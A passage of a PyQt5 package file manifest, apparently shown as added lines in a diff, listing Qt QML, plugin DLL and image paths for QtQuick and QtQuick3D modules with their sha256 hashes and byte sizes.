+PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon16.png,sha256=GuYfUwrhbBmXGAziDKewHdlAJpqJTHSnGer31c1X53k,163 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon.png,sha256=_KrtYG3Z2l5DFjj6aIsnk0jeLfwmW_hh9ioE0V8R90w,220 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon16.png,sha256=s8aorBpuGJc0fVzT0BFBjZN7Yoo-Dfck_lwoTZV2ZZQ,177 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon.png,sha256=RGfBoggpyxjYAH965vqku8dVmZA3C2xnxKtpPF4Hz0U,378 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon16.png,sha256=VpPa72ekIS0a_jWuwB0wxvz2ygaQL2xFCVxK1_i-jFo,242 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon.png,sha256=tN59vI7Lq3VQB4lqNXjdVDXBBfW02JDSkstgSZVaTjk,316 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon16.png,sha256=5WJyDgDB7lI9_KLzhgpn3lxl-WTtHdmXsw4o1DHeoV0,212 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon.png,sha256=aH_W4DZcP-UskrGDBNkCMG1xc_hL9cU9glhF0a60ev4,340 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon16.png,sha256=i9rPOIYQkU_MS1mm3Z8zym7MBTwa4FtyumJSAvRedMg,223 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon.png,sha256=nM3jjfaqro1nNi78QSg-K8IYN58A2RXXDJs4K4EhUFE,187 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon16.png,sha256=IFtoxnT3a44My2Mwxaa0onGXJBMAMmvZIKb532LqDnk,1130 +PyQt5/Qt5/qml/QtQuick/Extras/designer/qtquickextras.metainfo,sha256=UjoDp80x5zGkQEr2uWTFxJe4ZjUIbdDOtVCTFIfFTKY,3455 +PyQt5/Qt5/qml/QtQuick/Extras/plugins.qmltypes,sha256=jXWw0eDvmvNJaYm_sor2_IF1Kg0UiqcuLUV78HwpKfY,30070 +PyQt5/Qt5/qml/QtQuick/Extras/qmldir,sha256=qxrIU5KdvLmUlcIJjCrroG57PrCszj29LA8PbHQhFCc,164 +PyQt5/Qt5/qml/QtQuick/Extras/qtquickextrasplugin.dll,sha256=eyMKftpm-FiHwXrFtAzlA4gsYKVtnpIyJe9VdWV6SvY,78320 +PyQt5/Qt5/qml/QtQuick/Layouts/plugins.qmltypes,sha256=4ZtmtyASr6DNgNHtzw1IfTamMxDOTvcQAGT5UMyp3IY,4774 +PyQt5/Qt5/qml/QtQuick/Layouts/qmldir,sha256=y1hcL8Bu3KS5XJ7gQBfNOEyucDVujdRoq9fE_R5kC1k,130 +PyQt5/Qt5/qml/QtQuick/Layouts/qquicklayoutsplugin.dll,sha256=k1f8AA14LorS6vecjfoutYZ4NI7AgwoJBwckoO7m21M,113648 +PyQt5/Qt5/qml/QtQuick/LocalStorage/plugins.qmltypes,sha256=ISyATpiUgOL6ZwXssHay0O04te6K_r06_Cvnfp7Ot0o,657 +PyQt5/Qt5/qml/QtQuick/LocalStorage/qmldir,sha256=WA3bgdZwoV6M3SJhTuKPOlhedvF3JwvhSvbjFsXBjhU,120 +PyQt5/Qt5/qml/QtQuick/LocalStorage/qmllocalstorageplugin.dll,sha256=79PDoBsA1YDZsGFxAXAxNKTjNQiEUVyzzbZP8De9n3M,54768 +PyQt5/Qt5/qml/QtQuick/Particles.2/particlesplugin.dll,sha256=MgFRztjhlemlDqA4a4VhOtd3rE6-cHH-N9Aa2D5h118,24560 +PyQt5/Qt5/qml/QtQuick/Particles.2/plugins.qmltypes,sha256=r98U7vpdoVMzoNBzGMFYGqzJH8gZGg-7_s03PpjbdKc,47258 +PyQt5/Qt5/qml/QtQuick/Particles.2/qmldir,sha256=Mu5LAjoOlux44pzUFHoiO0xIxp4Vx_6Vgqj47yuhC7k,112 +PyQt5/Qt5/qml/QtQuick/PrivateWidgets/plugins.qmltypes,sha256=18vNNKWbnrfCsNEgd-q8j_y5CR16_cpFYz9RGjxnDV4,11455 +PyQt5/Qt5/qml/QtQuick/PrivateWidgets/qmldir,sha256=17BJNhrIeyhROMIJHUifhMxxzMUXo9aHSfX8v5YzR_M,120 +PyQt5/Qt5/qml/QtQuick/PrivateWidgets/widgetsplugin.dll,sha256=5u_LbRUG6Z8wqB-JKse3KzY5Lv4qbjqBGZYAz-reqz4,128496 +PyQt5/Qt5/qml/QtQuick/Scene2D/plugins.qmltypes,sha256=trHzi-Uo2EPF2KVsLCbi2IVdTRhHDSlPYgJFcZVheJM,2365 +PyQt5/Qt5/qml/QtQuick/Scene2D/qmldir,sha256=0ayrRGXH0gmRyqv16zn9pA2Cx2fgV1kgGMNGq0QpHuw,85 +PyQt5/Qt5/qml/QtQuick/Scene2D/qtquickscene2dplugin.dll,sha256=ACpeWrblfGxG1IxoN7pCnJM3mFHZp8KJtNrIIggKe2A,30192 +PyQt5/Qt5/qml/QtQuick/Scene3D/plugins.qmltypes,sha256=08VBsnq4Ot0uzOUBm_QvR7mnHIutsGI4x7PG0hIcHKI,3129 +PyQt5/Qt5/qml/QtQuick/Scene3D/qmldir,sha256=YECgrWzrP91ZM8Qkvpa45nrAGWivMoNFpepEEN8kp4I,85 +PyQt5/Qt5/qml/QtQuick/Scene3D/qtquickscene3dplugin.dll,sha256=TLYtOaFFPnbbomaWtQEWW91WN7rYjqVPts7Q1HH1qg4,97264 +PyQt5/Qt5/qml/QtQuick/Shapes/plugins.qmltypes,sha256=oNlBEFJfCqUIuehhr-2TW35j9AEcaaIiOpkEF3UtUcs,5523 +PyQt5/Qt5/qml/QtQuick/Shapes/qmldir,sha256=WWSvWPKgNx6cWk_YdRTgBsEqfZfiPluOVqD4a9oA1kw,101 +PyQt5/Qt5/qml/QtQuick/Shapes/qmlshapesplugin.dll,sha256=3LVeaMyYnqQMssqvXr3g8H9DjxNPITX-7WK80LFFpFw,24560 +PyQt5/Qt5/qml/QtQuick/Templates.2/plugins.qmltypes,sha256=XfCSfOArjE-yjdky9Bl3AZMpsqNI48wUIIGccZRgzm4,129347 +PyQt5/Qt5/qml/QtQuick/Templates.2/qmldir,sha256=sk8sSv-afxAvKiW89VLZH2NxYOVeBTWDKYsKFsk67yM,142 +PyQt5/Qt5/qml/QtQuick/Templates.2/qtquicktemplates2plugin.dll,sha256=7oVy6ZNL7W3NAaZnrsqgsuGihBlXNVlgf0mb9rt3eak,353264 +PyQt5/Qt5/qml/QtQuick/Timeline/plugins.qmltypes,sha256=ceIrbbewPgSmo8a60-UXVthJs5_TUcQoWGVeCnOCfhc,2094 +PyQt5/Qt5/qml/QtQuick/Timeline/qmldir,sha256=UOUmaQ-MOX2RNkNqG0Tx2TrgNj9dq6uYSBuHiOQq3RM,134 +PyQt5/Qt5/qml/QtQuick/Timeline/qtquicktimelineplugin.dll,sha256=nTbSghoywDOaJHC5NgG_0s9MIT1hMXnaCRCs-OHBSGQ,64496 +PyQt5/Qt5/qml/QtQuick/Window.2/plugins.qmltypes,sha256=c98lT6Gao162zXoi0Nsy6YDqHIZlTBCriYf827RBg5Y,14715 +PyQt5/Qt5/qml/QtQuick/Window.2/qmldir,sha256=jYi4FUfhVz-Mkd-ZjqgmCOCnl3CwFMgvdgpnOItBlFo,122 +PyQt5/Qt5/qml/QtQuick/Window.2/windowplugin.dll,sha256=mv-fkrqWJNugJXJaA4V5L0ErYH0ksbsoKfDORwKgoig,53232 +PyQt5/Qt5/qml/QtQuick/XmlListModel/plugins.qmltypes,sha256=ubzcE3m5iZW4229nmx7HoW9XK5PJDDKF9iom7iCSVdg,12500 +PyQt5/Qt5/qml/QtQuick/XmlListModel/qmldir,sha256=Bu2exf6kvOEpwzgkH94UmeKDnSuu1-ZNDdr3qArtp6U,138 +PyQt5/Qt5/qml/QtQuick/XmlListModel/qmlxmllistmodelplugin.dll,sha256=rqGobXibqjV2r5R6WdLRIvC_RRY1W8BquiP3ssP3X-c,83952 +PyQt5/Qt5/qml/QtQuick3D/Effects/AdditiveColorGradient.qml,sha256=39PQZXPmSPi-g9EoK-fbZA_3RK5e85yyzqiS1dpmtbk,1801 +PyQt5/Qt5/qml/QtQuick3D/Effects/Blur.qml,sha256=p05KI0yZesqeKND6S1AFe7cqwAVZcQJBAIcmMq9NzLk,1659 +PyQt5/Qt5/qml/QtQuick3D/Effects/BrushStrokes.qml,sha256=Pp642nTSdDx1FMouJUNXs3-msxPw0taa2ef-38YSTaQ,2298 +PyQt5/Qt5/qml/QtQuick3D/Effects/ChromaticAberration.qml,sha256=jQrI8bIPyU6JyN8afHqaQ7FUTlVh66kwnc436o5nsH8,2414 +PyQt5/Qt5/qml/QtQuick3D/Effects/ColorMaster.qml,sha256=-d0WI_eFQBTECqAXZWEkRTwLKl68VooMw2XIeqo7TQ0,1849 +PyQt5/Qt5/qml/QtQuick3D/Effects/DepthOfFieldHQBlur.qml,sha256=SYNd7OqFX-gTUN9TIAW4KMJqYA6kzcxGz3Fi7O2wLyQ,3156 +PyQt5/Qt5/qml/QtQuick3D/Effects/Desaturate.qml,sha256=paorsowpsGiTfVWDGKAHtqa-iiivEu-UGM31bgjEhAQ,1676 +PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionRipple.qml,sha256=e03BNVQJBu5Kk8vWQcPX0iYuKjJDDooG5xo_8I4ZOKI,2080 +PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSphere.qml,sha256=GgIPL3ybmLSciWgBGVnH21xeP0NEz5_Qhdr7sYKo28I,1957 +PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSpiral.qml,sha256=zo_ULWcMWYQaUN-eojUVI11tEVHWGLoDw9S9bwpt1n0,1967 +PyQt5/Qt5/qml/QtQuick3D/Effects/EdgeDetect.qml,sha256=wSsjofMn6VlVexL-t0DHU8_bMtmPTAdmBFjR1n-bwX4,1819 +PyQt5/Qt5/qml/QtQuick3D/Effects/Emboss.qml,sha256=oi4FKUZYdc6cf50CtRakKmeK56rT4AoapxDdnjOAQgs,1678 +PyQt5/Qt5/qml/QtQuick3D/Effects/Flip.qml,sha256=nPCINyBMyEqLT9ErJ-969hoAtqLNyKN-P_8hxJu65ks,1709 +PyQt5/Qt5/qml/QtQuick3D/Effects/Fxaa.qml,sha256=SGf07zQ6kLJpRzEyoherAbacPoGVM9cR67MVSEqrLZc,2358 +PyQt5/Qt5/qml/QtQuick3D/Effects/GaussianBlur.qml,sha256=T6ElYJw_qsWTj7g1izrgBLBkWlD9cAHSP1Qs-bn7TLc,2433 +PyQt5/Qt5/qml/QtQuick3D/Effects/HDRBloomTonemap.qml,sha256=7ATno46q-Vj6iH38bZPzm67FqGcyb07qET5KB6IoDKE,4952 +PyQt5/Qt5/qml/QtQuick3D/Effects/MotionBlur.qml,sha256=qZz5EOiVNAmmnb590WaIW7aAiSpPimf5K3MjoXnMHXs,3625 +PyQt5/Qt5/qml/QtQuick3D/Effects/SCurveTonemap.qml,sha256=P7BzUz53RGcF2u2DhlazjM98eDPJGkt_xib4zqVxMtg,2315 +PyQt5/Qt5/qml/QtQuick3D/Effects/Scatter.qml,sha256=46TLQqOx4DU6M5yvjR1TU80IZdELKavzsD1ama92nxU,2044 +PyQt5/Qt5/qml/QtQuick3D/Effects/TiltShift.qml,sha256=l2z31_MqA9fEsQlO28nk8pQvTQYFqm5-qF-CRW97L9E,3007 +PyQt5/Qt5/qml/QtQuick3D/Effects/Vignette.qml,sha256=bjdHj5kUIn3i6scJTRLkC4MlHhSRuw1CSCZoosnDvkQ,1803 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSection.qml,sha256=zL9il1ra9_LB4q5IZU07tVO8NZ3qQ5TWfyChyV1N8yU,2104 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSpecifics.qml,sha256=4IP8uY9rOqQwB8NactC6o3eL7gkvUeeYUXIe1ETLNO0,1539 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSection.qml,sha256=J0PDQ1hGYzfZjwpjHQXa1sOwhGlu7xA1htAWPMnUac0,2057 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSpecifics.qml,sha256=d_L95i9KvmX4Fmn8WL0Lb9iGGOqi_0vRGSJVZ7HT3TE,1522 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSection.qml,sha256=rSVILJC4v-pFsDwybZ-qiLHT0FKzdkXf-PtZyINQC9E,3522 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSpecifics.qml,sha256=WdX5mVnt-1MxrlZVwt3U3YXdgTbvQKvMPL6vjWPVfl8,1530 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSection.qml,sha256=d_hW__-dNwDOZ-K0aAh5VGZpbMk4_OO8n-rxX2XgJAU,3115 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSpecifics.qml,sha256=QaypIWDW7h_cO5MN-l78Xsg83b52TEJwtRghpuKkWlc,1537 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSection.qml,sha256=l0DWns077DIEyIY5z1FZyEHeKmML5JGy8IsIx0ldDdg,3480 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSpecifics.qml,sha256=gJex4BGudiIcNsnU-VvWpLHZslkd9cdN3Ups8RGaLFo,1529 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSection.qml,sha256=Jesw2BAJusPunlSXIXD6UWBLvyawlnARgrCinwyRuT4,2926 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSpecifics.qml,sha256=SLaD8bCyvHTAZT_uThw1adGYkjFRyVSjTmYiWxN2Py0,1536 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSection.qml,sha256=r8YhR3O5YFBSLWQY38C_LUuMB9W0oWQNDk7rEwdJ_qU,2067 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSpecifics.qml,sha256=xIS2u0YBQ5_OqWZBJnrKf1Q3RbJTFtXdph7o8hknEYk,1528 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSection.qml,sha256=eQt7JHXn-bMwNABuMa447_QK5WWG50DEqXANXeZlBsM,5054 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSpecifics.qml,sha256=z0gZEE5jCCF-B-aip1bIbkTgTc_MsQbffOasu0lqi3g,1534 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSection.qml,sha256=NRLq-55LAjpE6xLsU6gLjS5KkKmNuJsN57rTFNFcT9Y,4231 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSpecifics.qml,sha256=RX1GrZUQ2ei1Ac_5aQY3QInXuIN0jvSovKuE167f3_Y,1534 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSection.qml,sha256=gtCUutKtR0q8wLKm6fR_CG4FHEVYnEpQy0sHStS-Q7Q,4204 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSpecifics.qml,sha256=OF4WHSI-PozH7OMVNYt3l7hUH2tMsn6Dn0nBtreFjOM,1534 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSection.qml,sha256=4Q7gGCSCGUxeQuBm4t79bNZ26mooJktuEZgFENWa8NQ,2062 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSpecifics.qml,sha256=_rgtiQlYP5F4gWO4F5LjukIJBI0R59KZGrVRuJNiBqA,1528 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSection.qml,sha256=VKS6diTIbr3Gg5E7ITzEN7B4lT9PwaPfvfl3GKt9IOY,2203 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSpecifics.qml,sha256=A-2wJzo201zFR3uI46Hd_5h0HNj7RfTr1i-xDTuzAKs,1524 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSection.qml,sha256=0S-VBySFV2meUklL735FkKih5gG9xz12-TXC2rqcxzM,2063 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSpecifics.qml,sha256=_8gyheixxaBMj0lMWPEbpi3drJhNV7T6MpE13G8ajIY,1524 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSection.qml,sha256=qEhbooJ4jAQlnGQxuBVGjkad9Pj8jMTEpXdibdxRrlg,2397 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSpecifics.qml,sha256=DvlnFOv-3da1Oe75SO7QeTzPTe25FR8EH-cFVdPdLSY,1522 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSection.qml,sha256=GQr5rmnKZIpD2jVcZ1gjFU4vLir5axIyp0vjCHeps0E,1516 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSpecifics.qml,sha256=sY09NcZPER0bR5lUH5KIXP9nK1Bz7gQzmXgTRQk-7dw,1522 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSection.qml,sha256=HLXZeAEyO53wHwmA14y97M7biYdh-7rWxiz2N7xzZiY,2020 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSpecifics.qml,sha256=COsFz6fKTCgOhYUlP9_OujI3thFLrSrDOWZnEUVgweE,1530 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSection.qml,sha256=XNosKYXOPN3bitu0-GlEg-kP5VoOYLJSXA9Dy5JYTAY,4425 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSpecifics.qml,sha256=v9CdvlCbXcl4Up7bHmImA_HPbTq1CzemGpo7_IV24ls,1533 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/IdComboBox.qml,sha256=G8wM3pft_HK4twZmp6nXP9_gcdvMNdzVxxfAR8sIzdg,4199 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSection.qml,sha256=CA1rt3wkJ1DgbQcE-CsQ2q0-rG5jX8nwCqfTZQC7-yg,2559 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSpecifics.qml,sha256=1hT7DqZNrfGLKMLXSNpSUC0Npge3l8FRbqskVz56IEg,1528 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSection.qml,sha256=fOLsFgNwDZTgRirLYS0oSzPUiWMhAuQZluPjcOt_8Kk,6483 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSpecifics.qml,sha256=6mwLiGfeMAnSHoliT6Q6Q7oBTlb_lHBEAdDDot4f_Kg,1531 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSection.qml,sha256=FY6kN3Xs2FbwOfyz3zUdqmHFkP28_nDyfbq4DwSEgxA,3506 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSpecifics.qml,sha256=_z2EB4S5lfvBq6__Y3DONL9gLQdQlMOo0_p_7HIOpGA,1525 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSection.qml,sha256=vgUO2tL1msyH0E6U_uuAWvc_JJ3yWwXCwAC-HunHlTQ,3827 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSpecifics.qml,sha256=rRHh79qnAQDc247-d7ZOc124OoTOxl8Tw0xoo88v6Uo,1527 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSection.qml,sha256=-k2Fy4RVwd5plnOkgYThHMtelQ4_kKBST0iJb8nujDw,2840 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSpecifics.qml,sha256=iHctYim8K7Fk-ijzkvB-G2P2WmBMzB72zGqbBg3Bwb0,1526 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/effectlib.metainfo,sha256=O6DsinmVwRa159Ach0h9m4X4VunNbcm_Y5SIPTWQXzs,12027 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect.png,sha256=dA-d2BfgwUmZsBb-znbJnfSygGWst4zoGVUrxuxXZ3M,411 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect16.png,sha256=szEHoRHnmp90mT2L2EPvP1XBMr27QDgFPUMh6plejbE,321 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect@2x.png,sha256=fEh1QkGnSjrmmP0hkpOtyE_H617-j4GyGNd21DQrsm0,714 +PyQt5/Qt5/qml/QtQuick3D/Effects/designer/source/effect_template.qml,sha256=3aN_j8gxnV0KaZSjQ8dVqVe0PlCy183l9A60mleYqX0,1673 +PyQt5/Qt5/qml/QtQuick3D/Effects/maps/brushnoise.png,sha256=_R72ChlNd82OPTIXG-KkaC2SMiBgCLtreLCXY6Awnls,61885 +PyQt5/Qt5/qml/QtQuick3D/Effects/maps/white.png,sha256=0QpSFOTU9uxNxu0J7Mf3n7NG8oH41rsiO3H7d4BXH2w,155 +PyQt5/Qt5/qml/QtQuick3D/Effects/plugins.qmltypes,sha256=CyfSC0JHbEiqouKF7xBQ5S08pGLunGmKKdb-XPFMnGw,740 +PyQt5/Qt5/qml/QtQuick3D/Effects/qmldir,sha256=QQZsCtl-ySCuhHM4m_ZIGPCUCYBLj9_SDLRG_T50Ves,873 +PyQt5/Qt5/qml/QtQuick3D/Effects/qtquick3deffectplugin.dll,sha256=PwUBN3Qjk40kyjIcw5FJs_2Fj9BQ0HZJ1z5QH51uXjI,113136 +PyQt5/Qt5/qml/QtQuick3D/Helpers/AxisHelper.qml,sha256=jO5fMI9lAX7Yzv364HxXrIgNcngT2U9vsKjFKhYKvz4,3597 +PyQt5/Qt5/qml/QtQuick3D/Helpers/DebugView.qml,sha256=qwZT4GzpjRFlPyUobtL1ulZTr85J_8NosVbx_F9yOno,2313 +PyQt5/Qt5/qml/QtQuick3D/Helpers/WasdController.qml,sha256=F6qJ9tJ7mxX89Ky3kcPiHKPNstseoniMR7uuuJ5cN_g,9374 +PyQt5/Qt5/qml/QtQuick3D/Helpers/meshes/axisGrid.mesh,sha256=taa7WIDChjp_KIkO_LqC1LBgZAmraMRGMbIhLpiYmjE,128684 +PyQt5/Qt5/qml/QtQuick3D/Helpers/plugins.qmltypes,sha256=SKUIfMCGN3UgpedKVESsk49K3c7VWixlgiQvyDwrmoY,2448 +PyQt5/Qt5/qml/QtQuick3D/Helpers/qmldir,sha256=6b1RT1G_FyFDqBkcb-hLXWKjQeq2BO7ps7z3fhpWyVw,232 +PyQt5/Qt5/qml/QtQuick3D/Helpers/qtquick3dhelpersplugin.dll,sha256=7SJNszVf3I_CkzQqIqaq6Wpx1BtK2xNmPEFQa8UVvc4,39920 +PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedEmissiveMaterial.qml,sha256=xxybNLRWA8acBsDUPxQjDJAO3xPJnsggvnDZpWT13y0,3608 +PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedMaterial.qml,sha256=o9MiOmvOOMjdChQ_iT-40GNL-Jmr5-eYThJj_jmWQmk,2742 +PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumBrushedMaterial.qml,sha256=2juR4R9ZnB94FVGp1msP8_K9O4yyPf2UavjpfJby0xY,4902 +PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumEmissiveMaterial.qml,sha256=gnF8N7qxke2RB2XX0cGG5xsRV_N8N11yb2WZnFV6dkQ,4874 +PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumMaterial.qml,sha256=50kDLBAImpAmlI60fO5rtfispZA7zNzzJgfYeyom4WY,3950 +PyQt5/Qt5/qml/QtQuick3D/Materials/CopperMaterial.qml,sha256=tE3Ey0BKULcNP1NE6vTPi4YIMERl_bB-EbQHdmP31tI,2544 +PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassMaterial.qml,sha256=ZCyIzGrRP-kvEIYG1MUgKTxfMWoi0zutUXsI02OvMeg,7751 +PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassSinglePassMaterial.qml,sha256=JukYNdrvRwHf6IEhjHADunkNSCy4TlVb0VE-XkF_oaI,4634 +PyQt5/Qt5/qml/QtQuick3D/Materials/GlassMaterial.qml,sha256=DQIOr0qstjAJj6GxKHIOEV5c4WtjAZjes6mpsYLMItA,2906 +PyQt5/Qt5/qml/QtQuick3D/Materials/GlassRefractiveMaterial.qml,sha256=vf56pMSKM4yQ_9wgucCeJ48e6b9yokLKaCAsM8cvo74,3414 +PyQt5/Qt5/qml/QtQuick3D/Materials/PaperArtisticMaterial.qml,sha256=-LV0K0CVbFHDgXfox_o4OR8ype5jnFzap1vtXIoYhFs,3616 +PyQt5/Qt5/qml/QtQuick3D/Materials/PaperOfficeMaterial.qml,sha256=eCrs-BwsQZxINykcP09mt-6N4sb6PdbS_nbVG7dMeO4,3369 +PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedEmissiveMaterial.qml,sha256=_dYH4XpEWXbo5hgO7P2Y6aAOCnZD-fizWTmvrmMNMpc,4636 +PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedMaterial.qml,sha256=CXkwUOnaeqT7mppqFTmqbJ1rfJgQG_XMbOnQ2hssu8k,3808 +PyQt5/Qt5/qml/QtQuick3D/Materials/SteelMilledConcentricMaterial.qml,sha256=TpGq9dA8KVpAb0zgVM9mF_c52VZfAZPqFUsjxbi37hI,3493 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSection.qml,sha256=01d-c85YO-2sjLi-Dzj2TnyGDSlJHVKyoSmErQLRM6c,6347 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedEmissiveMaterialSpecifics.qml,sha256=9S6qRPUivD9dOOVffuVQCT71bGwB8UqPuznZUNC9NxY,1550 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSection.qml,sha256=K0X0sgT1jiASwgnXKXEKUlR6dDyhqZ8GDe72oWYzfn8,4471 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumAnodizedMaterialSpecifics.qml,sha256=w7mg2Cnpn1r_Uq4HKn5dGgEY7FUYvzW2oJuPB0_eiZE,1542 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSection.qml,sha256=XkpN5Aq3_3JKeVzop-_gDjBLRJEoFsB1uEGMmAkuqLw,10710 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumBrushedMaterialSpecifics.qml,sha256=bndM_uhP_-gR94yQWYgM-ubvXWUN3H2kzWRZdUfa6vI,1541 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSection.qml,sha256=KbfNgZlWNEVr83GfhI3v5XOyHkdFwXSjQt9KR37ZaMk,15432 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSpecifics.qml,sha256=VHVU9Z-uzcH4ZiorwSUxwF6Maze0XfHhRgTYPekiITk,1542 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSection.qml,sha256=quaMMvwF4zhyLrOMdChoImNZacQwEOziEOmgsbjiZmQ,10859 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSpecifics.qml,sha256=tQGv7bKwSZwSAFDh2L_BBB35DOdBofuiLZxAY2xDMy8,1534 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSection.qml,sha256=FsNw0Pv5PQuWdarte0028UvVQ1Olic88Wb6D9iXx9CQ,4474 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSpecifics.qml,sha256=A7Cp1S_Lh_EA-6JpeWzSXO-9AYQ909q0ysUXOJvzoc8,1532 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSection.qml,sha256=CON99dBHnzrEuSdgC9pDG78uGrwbBqB_mhXjn7TvncI,6158 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSpecifics.qml,sha256=NYyuVQLIPZ2jWz4KCofFwldAeLMPsRQ7WI0vQWmn51I,1532 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSection.qml,sha256=Jal0-HQ64U5VXTp9WK9OCfmE0LCGgoFAKR92l0yRnHA,18232 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSpecifics.qml,sha256=QEMGFusdRY3fGa_a_XXhAl0N2loxmkY1zF-9zDkf_ys,1538 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSection.qml,sha256=UUxKvi4utOb07L7x1fT9uWqcgX9FEe1FIcH_3defpxA,15685 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSpecifics.qml,sha256=hvZV1r4QxF-DZH_ovjwgZSJ1aNPr8kI8IHl6EJrITZo,1548 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSection.qml,sha256=7W5OJxkuFQnAaUdjrXxhj98Y-OYLEREd0ZrevM4rZ4I,6116 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSpecifics.qml,sha256=d707zNV3npaqu02hygl2ewN4TFrAF5AeOwGh7Vge5Rk,1531 